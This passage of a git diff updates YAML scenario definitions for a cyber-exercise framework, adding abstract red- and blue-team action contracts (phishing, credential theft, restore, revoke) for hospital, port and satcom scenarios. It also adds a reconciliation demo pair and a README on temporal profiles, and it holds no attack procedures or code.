nodes.vpn-gateway.services.vpn-portal + - vpn-gateway + - vpn-vendor-support-path + failure_classes: + - authority_denied + - target_unavailable + - unknown + pivot: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Pivot intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Pivot against the scenario-declared subject set. + target_refs: + - ehr-db + - ehr-to-database + - phi-records + failure_classes: + - authority_denied + - target_unavailable + - unknown + reissue-creds: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared ReissueCreds intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt ReissueCreds against the scenario-declared subject set. + target_refs: + - backup-vault + - ehr-db + - pacs01 + failure_classes: + - authority_denied + - target_unavailable + - unknown + restore: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Restore intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Restore against the scenario-declared subject set. + target_refs: + - backup-manages-ehr + - backup-vault + - ehr-db + - pacs01 + failure_classes: + - authority_denied + - target_unavailable + - unknown + steal-cred: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared StealCred intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt StealCred against the scenario-declared subject set. + target_refs: + - mail-gateway + - vendor-jump + - vpn-gateway + failure_classes: + - authority_denied + - target_unavailable + - unknown + triage: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Triage intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Triage against the scenario-declared subject set. + target_refs: + - infrastructure.corp-it.acls.allow-vendor-support + - mail-gateway + - nodes.vpn-gateway.services.vpn-portal + - siem01 + - vpn-gateway + failure_classes: + - authority_denied + - target_unavailable + - unknown + validate: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Validate intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Validate against the scenario-declared subject set. + target_refs: + - backup-manages-ehr + - backup-vault + - ehr-db + - pacs01 + failure_classes: + - authority_denied + - target_unavailable + - unknown agents: red-initial: - entity: ransom-crew + affiliations: [ransom-crew] actions: - - Phish - - AbuseVPN - - Discover - - StealCred + - phish + - abuse-vpn + - discover + - steal-cred initial_knowledge: hosts: - mail-gateway @@ -1206,12 +1573,12 @@ agents: - vendor-segment - corp-it red-operator: - entity: ransom-crew + affiliations: [ransom-crew] actions: - - Pivot - - Exfiltrate - - Encrypt - - Disable + - pivot + - exfiltrate + - encrypt + - disable starting_accounts: - svc-ehr initial_knowledge: @@ -1234,12 +1601,12 @@ agents: - backup-net - identity-net blue-soc-agent: - entity: hospital-blue.soc + affiliations: [hospital-blue.soc] actions: - - Inspect - - Triage - - Isolate - - Escalate + - inspect + - triage + - isolate + - escalate starting_accounts: - soc-analyst initial_knowledge: @@ -1262,12 +1629,12 @@ agents: - corp-it - vendor-segment blue-ir-agent: - entity: hospital-blue.recovery + affiliations: [hospital-blue.recovery] actions: - - Contain - - Restore - - ReissueCreds - - Validate + - contain + - restore + - reissue-creds + - validate starting_accounts: - backup-operator initial_knowledge: @@ -1291,10 +1658,10 @@ agents: - identity-net objectives: red-establish-foothold: - agent: red-initial + assigned_participant: red-initial actions: - - Phish - - AbuseVPN + - phish + - abuse-vpn targets: - vpn-gateway - exchange01 @@ -1312,10 +1679,10 @@ objectives: events: - phishing-delivery red-stage-phi: - agent: red-operator + assigned_participant: red-operator actions: - - Pivot - - Exfiltrate + - pivot + - exfiltrate targets: - phi-records - ehr-to-database @@ -1331,7 +1698,7 @@ objectives: depends_on: - red-establish-foothold red-disrupt-radiology: - entity: ransom-crew + owner: ransom-crew targets: - pacs01 - radiology-images @@ -1350,11 +1717,11 @@ objectives: depends_on: - red-stage-phi blue-detect-and-triage: - agent: blue-soc-agent + assigned_participant: blue-soc-agent actions: - - Inspect - - Triage - - Escalate + - inspect + - triage + - escalate targets: - siem01 - vpn-gateway @@ -1372,11 +1739,11 @@ objectives: - pre-surgery - live-clinic blue-restore-clinical-services: - agent: blue-ir-agent + assigned_participant: blue-ir-agent actions: - - Contain - - Restore - - Validate + - contain + - restore + - validate targets: - backup-vault - ehr-db diff --git a/examples/scenarios/port-authority-surge-response.sdl.yaml b/examples/scenarios/port-authority-surge-response.sdl.yaml index 19a86d017..349dde8ce 100644 --- a/examples/scenarios/port-authority-surge-response.sdl.yaml +++ b/examples/scenarios/port-authority-surge-response.sdl.yaml @@ -909,14 +909,296 @@ relationships: type: depends_on source: terminal-service target: customs-api +# Abstract action intent; backend realization and authorization remain separate. +action_contracts: + coordinate: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Coordinate intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Coordinate against the scenario-declared subject set. + target_refs: + - customs-federates-port + - customs-gateway + - manifest-db + failure_classes: + - authority_denied + - target_unavailable + - unknown + disable: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Disable intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Disable against the scenario-declared subject set. + target_refs: + - shipping-portal + - vendor-jump + - yard-hmi + failure_classes: + - authority_denied + - target_unavailable + - unknown + inspect: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Inspect intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Inspect against the scenario-declared subject set. + target_refs: + - backup-vault + - camera-analytics + - historian-replicates-backup + - historian01 + - infrastructure.yard-ot.acls.allow-yard-control + - nodes.crane-plc.services.crane-opcua + - nodes.historian01.services.historian-ui + - yard-hmi + failure_classes: + - authority_denied + - target_unavailable + - unknown + isolate: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Isolate intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Isolate against the scenario-declared subject set. + target_refs: + - backup-vault + - historian-replicates-backup + - historian01 + - infrastructure.yard-ot.acls.allow-yard-control + - nodes.crane-plc.services.crane-opcua + - yard-hmi + failure_classes: + - authority_denied + - target_unavailable + - unknown + monitor: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Monitor intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Monitor against the scenario-declared subject set. + target_refs: + - customs-federates-port + - customs-gateway + - manifest-db + failure_classes: + - authority_denied + - target_unavailable + - unknown + phish: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Phish intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Phish against the scenario-declared subject set. + target_refs: + - cargo-manifests + - manifest-db + - portal-to-manifest + failure_classes: + - authority_denied + - target_unavailable + - unknown + pivot: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Pivot intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Pivot against the scenario-declared subject set. + target_refs: + - shipping-portal + - vendor-jump + - yard-hmi + failure_classes: + - authority_denied + - target_unavailable + - unknown + recover: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Recover intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Recover against the scenario-declared subject set. + target_refs: + - shipping-portal + - soc01 + - terminal-ops + failure_classes: + - authority_denied + - target_unavailable + - unknown + restore: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Restore intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Restore against the scenario-declared subject set. + target_refs: + - backup-vault + - historian-replicates-backup + - historian01 + - infrastructure.yard-ot.acls.allow-yard-control + - nodes.crane-plc.services.crane-opcua + - yard-hmi + failure_classes: + - authority_denied + - target_unavailable + - unknown + tamper: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Tamper intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Tamper against the scenario-declared subject set. + target_refs: + - cargo-manifests + - manifest-db + - portal-to-manifest + failure_classes: + - authority_denied + - target_unavailable + - unknown + triage: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Triage intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Triage against the scenario-declared subject set. + target_refs: + - customs-federates-port + - customs-gateway + - manifest-db + failure_classes: + - authority_denied + - target_unavailable + - unknown + validate: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Validate intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Validate against the scenario-declared subject set. + target_refs: + - backup-vault + - camera-analytics + - historian-replicates-backup + - historian01 + - infrastructure.yard-ot.acls.allow-yard-control + - nodes.crane-plc.services.crane-opcua + - nodes.historian01.services.historian-ui + - yard-hmi + failure_classes: + - authority_denied + - target_unavailable + - unknown agents: red-yard-agent: - entity: red-cartel + affiliations: [red-cartel] actions: - - Phish - - Tamper - - Disable - - Pivot + - phish + - tamper + - disable + - pivot initial_knowledge: hosts: - shipping-portal @@ -938,12 +1220,12 @@ agents: - yard-ot - terminal-it blue-yard-agent: - entity: port-blue.yard-ops + affiliations: [port-blue.yard-ops] actions: - - Inspect - - Isolate - - Restore - - Validate + - inspect + - isolate + - restore + - validate starting_accounts: - crane-operator initial_knowledge: @@ -966,12 +1248,12 @@ agents: - safety-net - backup-net blue-soc-agent: - entity: port-blue.incident-command + affiliations: [port-blue.incident-command] actions: - - Monitor - - Triage - - Coordinate - - Recover + - monitor + - triage + - coordinate + - recover starting_accounts: - soc-analyst initial_knowledge: @@ -996,10 +1278,10 @@ agents: - backup-net objectives: red-corrupt-manifests: - agent: red-yard-agent + assigned_participant: red-yard-agent actions: - - Phish - - Tamper + - phish + - tamper targets: - cargo-manifests - manifest-db @@ -1014,7 +1296,7 @@ objectives: - arrival-phase - customs-surge-phase red-degrade-yard-ops: - entity: red-cartel + owner: red-cartel targets: - yard-hmi - crane-plc @@ -1032,11 +1314,11 @@ objectives: depends_on: - red-corrupt-manifests blue-maintain-customs-integrity: - agent: blue-soc-agent + assigned_participant: blue-soc-agent actions: - - Monitor - - Triage - - Coordinate + - monitor + - triage + - coordinate targets: - customs-gateway - manifest-db @@ -1056,12 +1338,12 @@ objectives: steps: - yard-recovery.maintain-integrity blue-blackstart-yard: - agent: blue-yard-agent + assigned_participant: blue-yard-agent actions: - - Inspect - - Isolate - - Restore - - Validate + - inspect + - isolate + - restore + - validate targets: - backup-vault - historian01 @@ -1088,10 +1370,10 @@ objectives: - blue-maintain-customs-integrity - red-degrade-yard-ops blue-validate-yard-telemetry: - agent: blue-yard-agent + assigned_participant: blue-yard-agent actions: - - Inspect - - Validate + - inspect + - validate targets: - historian01 - camera-analytics diff --git a/examples/scenarios/reconciliation-demo-v1.sdl.yaml b/examples/scenarios/reconciliation-demo-v1.sdl.yaml new file mode 100644 index 000000000..bf44b43dd --- /dev/null +++ b/examples/scenarios/reconciliation-demo-v1.sdl.yaml @@ -0,0 +1,133 @@ +name: reconciliation-demo +version: 1.0.0 +description: >- + Baseline version of the reconciliation demonstration pair. Compute intent is + authored without an operating system or virtualization mechanism, the + scenario imports no modules, and nothing regenerates per run or per + instantiation, so the pair plans offline and deterministically against the + reference dry-run manifest. + +nodes: + lab: + type: switch + web: + type: compute + resources: + ram: 1 GiB + cpu: 1 + conditions: + health: ops + roles: + ops: + username: operator + database: + type: compute + resources: + ram: 2 GiB + cpu: 2 + conditions: + health: ops + roles: + ops: + username: operator + retired: + type: compute + resources: + ram: 1 GiB + cpu: 1 + +infrastructure: + lab: + count: 1 + properties: + cidr: 10.10.0.0/24 + gateway: 10.10.0.1 + internal: true + web: + count: 1 + links: + - lab + database: + count: 1 + links: + - lab + retired: + count: 1 + links: + - lab + +conditions: + health: + command: /bin/true + interval: 15 + +propositions: + health: + description: The governed web node has declared runtime state. + subjects: + - nodes.web + basis: declared_state + predicate: + kind: presence + property: runtime + semantic_ref: urn:raes:declared-property:runtime + operator: exists + +assertions: + health: + proposition: health + role: postcondition + polarity: positive + pre-health: + proposition: health + role: precondition + polarity: positive + +entities: + blue: + role: blue + +events: + kickoff: + assertions: + - pre-health + description: kickoff + +scripts: + timeline: + start_time: 0 + end_time: 60 + speed: 1 + events: + kickoff: 10 + +workflows: + flow: + description: primary + start: branch + steps: + branch: + type: decision + when: + assertions: + - pre-health + then: finish + else: finish + finish: + type: end + +objectives: + initial: + owner: blue + success: + assertions: + - health + window: + scripts: + - timeline + events: + - kickoff + workflows: + - flow + steps: + - flow.branch diff --git a/examples/scenarios/reconciliation-demo-v2.sdl.yaml b/examples/scenarios/reconciliation-demo-v2.sdl.yaml new file mode 100644 index 000000000..86bfc37b0 --- /dev/null +++ b/examples/scenarios/reconciliation-demo-v2.sdl.yaml @@ -0,0 +1,138 @@ +name: reconciliation-demo +version: 1.0.0 +description: >- + Modified version of the reconciliation demonstration pair. Compute intent is + authored without an operating system or virtualization mechanism, the + scenario imports no modules, and nothing regenerates per run or per + instantiation, so the pair plans offline and deterministically against the + reference dry-run manifest. + + Against the baseline's planned state this version creates `cache`, updates + `database` and — through a refresh dependency, with an identical payload — + its health condition, deletes `retired`, and leaves everything else + unchanged. + +nodes: + lab: + type: switch + web: + type: compute + resources: + ram: 1 GiB + cpu: 1 + conditions: + health: ops + roles: + ops: + username: operator + database: + type: compute + resources: + ram: 4 GiB + cpu: 2 + conditions: + health: ops + roles: + ops: + username: operator + cache: + type: compute + resources: + ram: 1 GiB + cpu: 1 + +infrastructure: + lab: + count: 1 + properties: + cidr: 10.10.0.0/24 + gateway: 10.10.0.1 + internal: true + web: + count: 1 + links: + - lab + database: + count: 1 + links: + - lab + cache: + count: 1 + links: + - lab + +conditions: + health: + command: /bin/true + interval: 15 + +propositions: + health: + description: The governed web node has declared runtime state. + subjects: + - nodes.web + basis: declared_state + predicate: + kind: presence + property: runtime + semantic_ref: urn:raes:declared-property:runtime + operator: exists + +assertions: + health: + proposition: health + role: postcondition + polarity: positive + pre-health: + proposition: health + role: precondition + polarity: positive + +entities: + blue: + role: blue + +events: + kickoff: + assertions: + - pre-health + description: kickoff + +scripts: + timeline: + start_time: 0 + end_time: 60 + speed: 1 + events: + kickoff: 10 + +workflows: + flow: + description: primary + start: branch + steps: + branch: + type: decision + when: + assertions: + - pre-health + then: finish + else: finish + finish: + type: end + +objectives: + initial: + owner: blue + success: + assertions: + - health + window: + scripts: + - timeline + events: + - kickoff + workflows: + - flow + steps: + - flow.branch diff --git a/examples/scenarios/satcom-release-poisoning.sdl.yaml b/examples/scenarios/satcom-release-poisoning.sdl.yaml index b2cf7148e..d2d906987 100644 --- a/examples/scenarios/satcom-release-poisoning.sdl.yaml +++ b/examples/scenarios/satcom-release-poisoning.sdl.yaml @@ -972,14 +972,288 @@ relationships: properties: protocol: ssh port: '22' +# Abstract action intent; backend realization and authorization remain separate. +action_contracts: + abuse-support: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared AbuseSupport intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt AbuseSupport against the scenario-declared subject set. + target_refs: + - ci-runner + - git-forge + - support-bastion + failure_classes: + - authority_denied + - target_unavailable + - unknown + exploit: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Exploit intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Exploit against the scenario-declared subject set. + target_refs: + - ci-runner + - forge-auths-ci + - support-bastion + failure_classes: + - authority_denied + - target_unavailable + - unknown + inspect: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Inspect intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Inspect against the scenario-declared subject set. + target_refs: + - control-api + - edge-gateway-east + - telemetry-broker + - telemetry-replicates-analytics + failure_classes: + - authority_denied + - target_unavailable + - unknown + isolate: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Isolate intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Isolate against the scenario-declared subject set. + target_refs: + - control-api + - edge-gateway-east + - telemetry-broker + - telemetry-replicates-analytics + failure_classes: + - authority_denied + - target_unavailable + - unknown + promote: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Promote intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Promote against the scenario-declared subject set. + target_refs: + - artifact-registry + - git-forge + - signing-hsm + failure_classes: + - authority_denied + - target_unavailable + - unknown + push-artifact: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared PushArtifact intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt PushArtifact against the scenario-declared subject set. + target_refs: + - artifact-registry + - ci-publishes-registry + - release-manifest + failure_classes: + - authority_denied + - target_unavailable + - unknown + restore: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Restore intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Restore against the scenario-declared subject set. + target_refs: + - control-api + - edge-gateway-east + - telemetry-broker + - telemetry-replicates-analytics + failure_classes: + - authority_denied + - target_unavailable + - unknown + review: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Review intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Review against the scenario-declared subject set. + target_refs: + - artifact-registry + - registry-relies-signing + - signing-hsm + failure_classes: + - authority_denied + - target_unavailable + - unknown + revoke: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Revoke intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Revoke against the scenario-declared subject set. + target_refs: + - artifact-registry + - infrastructure.build-net.acls.allow-engineering-release + - nodes.artifact-registry.services.registry-api + - registry-relies-signing + - release-manifest + - signing-hsm + failure_classes: + - authority_denied + - target_unavailable + - unknown + rollback: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Rollback intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Rollback against the scenario-declared subject set. + target_refs: + - artifact-registry + - infrastructure.build-net.acls.allow-engineering-release + - nodes.artifact-registry.services.registry-api + - release-manifest + failure_classes: + - authority_denied + - target_unavailable + - unknown + steal-token: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared StealToken intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt StealToken against the scenario-declared subject set. + target_refs: + - ci-runner + - forge-auths-ci + - support-bastion + failure_classes: + - authority_denied + - target_unavailable + - unknown + validate: + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: Scenario-declared Validate intent + realization_profile: abstract + fidelity_claim: Portable intent only; no backend procedure, successful effect, or authority is asserted. + preconditions: + - precondition_id: authorized + precondition_class: authority + description: Independent authorization is required before any realization. + effects: + - effect_id: intended + effect_class: intended_effect + description: Attempt Validate against the scenario-declared subject set. + target_refs: + - control-api + - edge-gateway-east + - telemetry-broker + - telemetry-replicates-analytics + failure_classes: + - authority_denied + - target_unavailable + - unknown agents: red-build-agent: - entity: red-supply-chain + affiliations: [red-supply-chain] actions: - - Exploit - - StealToken - - PushArtifact - - AbuseSupport + - exploit + - steal-token + - push-artifact + - abuse-support initial_knowledge: hosts: - git-forge @@ -1001,12 +1275,12 @@ agents: - federation-net - control-net blue-release-agent: - entity: platform-blue.release-engineering + affiliations: [platform-blue.release-engineering] actions: - - Review - - Promote - - Revoke - - Rollback + - review + - promote + - revoke + - rollback starting_accounts: - release-engineer - registry-bot @@ -1030,12 +1304,12 @@ agents: - build-net - control-net blue-sre-agent: - entity: platform-blue.sre + affiliations: [platform-blue.sre] actions: - - Inspect - - Isolate - - Restore - - Validate + - inspect + - isolate + - restore + - validate starting_accounts: - satops initial_knowledge: @@ -1062,10 +1336,10 @@ agents: - security-net objectives: red-compromise-build: - agent: red-build-agent + assigned_participant: red-build-agent actions: - - Exploit - - StealToken + - exploit + - steal-token targets: - ci-runner - support-bastion @@ -1079,9 +1353,9 @@ objectives: scripts: - release-prep red-poison-release: - agent: red-build-agent + assigned_participant: red-build-agent actions: - - PushArtifact + - push-artifact targets: - release-manifest - artifact-registry @@ -1099,7 +1373,7 @@ objectives: depends_on: - red-compromise-build red-reach-edge: - entity: red-supply-chain + owner: red-supply-chain targets: - edge-gateway-east - control-manages-east @@ -1116,10 +1390,10 @@ objectives: depends_on: - red-poison-release blue-validate-release: - agent: blue-release-agent + assigned_participant: blue-release-agent actions: - - Review - - Revoke + - review + - revoke targets: - artifact-registry - signing-hsm @@ -1138,10 +1412,10 @@ objectives: steps: - release-response.validate-release blue-revoke-artifact: - agent: blue-release-agent + assigned_participant: blue-release-agent actions: - - Revoke - - Rollback + - revoke + - rollback targets: - release-manifest - artifact-registry @@ -1164,12 +1438,12 @@ objectives: depends_on: - blue-validate-release blue-preserve-service: - agent: blue-sre-agent + assigned_participant: blue-sre-agent actions: - - Inspect - - Isolate - - Restore - - Validate + - inspect + - isolate + - restore + - validate targets: - control-api - edge-gateway-east diff --git a/examples/scenarios/temporal-profiles/README.md b/examples/scenarios/temporal-profiles/README.md new file mode 100644 index 000000000..be2727d8e --- /dev/null +++ b/examples/scenarios/temporal-profiles/README.md @@ -0,0 +1,59 @@ +# Bounded temporal profiles + +These portable scenarios declare intent. They contain no native HTTP runner, +monitor, calendar or backend-specific scheduler. + +- `user-deadline.sdl.yaml`: one ordinary participant completes an HTTP probe + by tick 5. A second cadence attempt at tick 10 is rejected before dispatch. +- `automation-dwell.sdl.yaml`: automation may probe at tick 10 only with + continuous evidence that `portal-present` held throughout `[0, 10)`. + Sleeping or observing the two endpoints does not satisfy this contract. + +Both use a shared simulated clock, v1 ordered cadence and the opt-in action +binding `participant-shared-time/v1`. `attempts` is an integer parameter with +default 1; setting it to 2 exposes the deadline example's late-attempt case. +User versus automation is a selected implementation, not another actor kind. + +| Authoring concern | Existing authority | +| --- | --- | +| Role and participant scope | `entities`, `agents`, behavior specification | +| Activity, application and protocol | Action contract, target service and selected implementation | +| Fixed cadence and ordering | Autonomous v1 | +| Work/pause windows, weighted actions, intervals, dependencies, retries, cooldowns | Autonomous v2 | +| Explicit resource budgets and fairness | Autonomous v3, preserving v2 activity semantics | +| Deadline event or continuous dwell | Action temporal contract plus shared clock/constraint | +| Reusable profiles | Namespaced module imports and typed parameters | + +Supported whole-field integer parameters (`${name}`) include attempt and +occurrence limits (1–1,000,000), in-flight bounds (1–1,024), timing ticks, +weights and burst size (1–1,000,000,000), retry counts (0–1,024) and cooldown +ticks (0–1,000,000,000). Cross-field limits and stepped-clock reachability are +checked after binding. Booleans, fractional numbers and interpolated strings +are not integers. Module parameters bind separately in each import's +`parameters` mapping; omitted required values fail import expansion. + +## Admission and evidence + +The backend manifest must cover the exact action, targets, implementation, +limits, clock capabilities and compiled temporal digests in one execution +offer. That offer is a claim, not execution evidence. A serial implementation +with no native lifecycle controls is sufficient if it supports the requested +combination; unrelated workloads do not require these temporal capabilities. + +Deadline success requires evidence for the selected completion event on the +bound clock. Dwell requires the named condition and boundary with continuous +interval coverage. Evidence is bound to the action, episode, segment and +execution generation. Reset requires fresh evidence. A missed or +indeterminate guarantee does not mean native effects were cancelled or undone. + +On a disposable reference target, call +`raes_conformance.conformance.participant_temporal_probes.participant_temporal_scenario_case` +with a parsed scenario. For dwell, pass +`clock_advances=(("time.clock.scenario-clock", 10),)`. +The probe checks admission, execution, assessments and durable-history +consistency. It stops its local clock driver before returning and fails the +case if shutdown is unconfirmed. The caller owns native setup/cleanup; do not +clean up native resources while the report identifies residual work. +Generic registration probes +cannot reconstruct a scenario from manifest digests. Fixture success proves +neither native application fidelity nor a continuous monitoring service. diff --git a/examples/scenarios/temporal-profiles/automation-dwell.sdl.yaml b/examples/scenarios/temporal-profiles/automation-dwell.sdl.yaml new file mode 100644 index 000000000..2a1516732 --- /dev/null +++ b/examples/scenarios/temporal-profiles/automation-dwell.sdl.yaml @@ -0,0 +1,228 @@ +nodes: + customer-portal: + type: compute + source: + name: customer-portal-app + version: reference + resources: + ram: 1 GiB + cpu: 1 + services: + - name: http + port: 8080 + protocol: tcp +infrastructure: + customer-portal: + count: 1 +entities: + enterprise-participant: + role: green +content: + participant-observation: + type: dataset + target: customer-portal + description: Action and timing evidence. + items: + - name: response + description: Bounded action observation. +action_contracts: + probe-customer-portal-login: + semantic_version: 1.0.0 + lifecycle_state: active + behavioral_granularity: atomic + procedure_basis: bounded HTTP login probe through participant runtime + realization_profile: backend-declared + fidelity_claim: Declares an HTTP probe, not a native implementation or fidelity + claim. + preconditions: + - precondition_id: participant-authorized + precondition_class: authority + description: The participant is 